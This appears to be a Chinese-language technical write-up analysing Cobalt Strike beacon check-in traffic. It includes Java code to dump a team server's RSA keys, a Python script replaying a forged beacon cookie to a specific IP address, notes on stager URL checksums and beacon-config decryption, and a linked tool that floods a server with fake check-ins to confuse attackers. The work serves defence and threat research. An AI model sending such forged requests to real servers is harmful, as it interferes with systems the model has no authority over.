分析原理:
我们利用Wireshark抓包工具分析一下Cobalt Strike的上线过程是怎么样的
点击木马,主机上线并抓包
查看数据包
可以看到cookie是一串非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密
我们对Cookie解密看看,网上找到了相关的代码提取Private Key与Public Key
(注意,实战中我们肯定拿不到Private Key的,这里只是弄出来分析一下加密的Cookie里有啥)
代码如下:
DumpKeys.java:
import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}
有一个坑点:
代码注意要在JDK11版本下运行。还要把这个java文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar“同一个目录下。
命令:
java -cp cobaltstrike.jar DumpKeys.java
用rsa网站解密https://the-x.cn/cryptography/Rsa.aspx
可以看到解密出的数据有我们的元数据,HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据
既然知道上线的流量过程,那么我们模拟Cobalt Strike模拟重放一下上线的过程
写类似爬虫请求:
import requests
url = "http://185.239.225.205:83/en_US/all.js"
header = {
"User-Agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
"Accept" : "*/*",
"Cookie" : "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
"Connection" : "Keep-Alive",
"Cache-Control" : "Cache-Control"
}
r = requests.get(url,headers=header);
print(r.url)
print(r.text)
print(r.headers)
print(r.status_code)
可以看到时间为1s,跟之前的43s比,这是最新的请求,如下:
数据包中的核心是加密后的Cookie,我们进行伪造,达到假的主机上线效果
Stager Url校验算法Beacon配置的解密算法
其实Stager就是小马拉大马的操作,上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URL下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。
(这个URL作为特征也可以用来识别CS服务器,做网络测绘,某Quake就是这么做的)
如何得到那个URL?
CS中Stager URL校验算法,就是生成4位的随机校验码,将校验码拼接到URL后面即可请求到Stage的代码
拿到Stage
Beacon配置解密
这里进行解密操作:
https://github.com/Sentinel-One/CobaltStrikeParser
解密后可以看到:公钥PublicKey以及CS服务器地址
坑点:
Public key别忘了要删点后面的无效Padding正确的格式是MIGfXXXXXXXXXXXXXXXX==也就是说我图中的Public Key 后面那一堆AAAAA要删掉
这里直接使用脚本来解密beacon的publickey
脚本链接:https://github.com/LiAoRJ/CS_fakesubmit
命令:
python3 cs_fakesubmit.py
使用方法:
脚本效果如下:
可以看到成功伪造上线,对攻击者造成大量混乱
这是50次的效果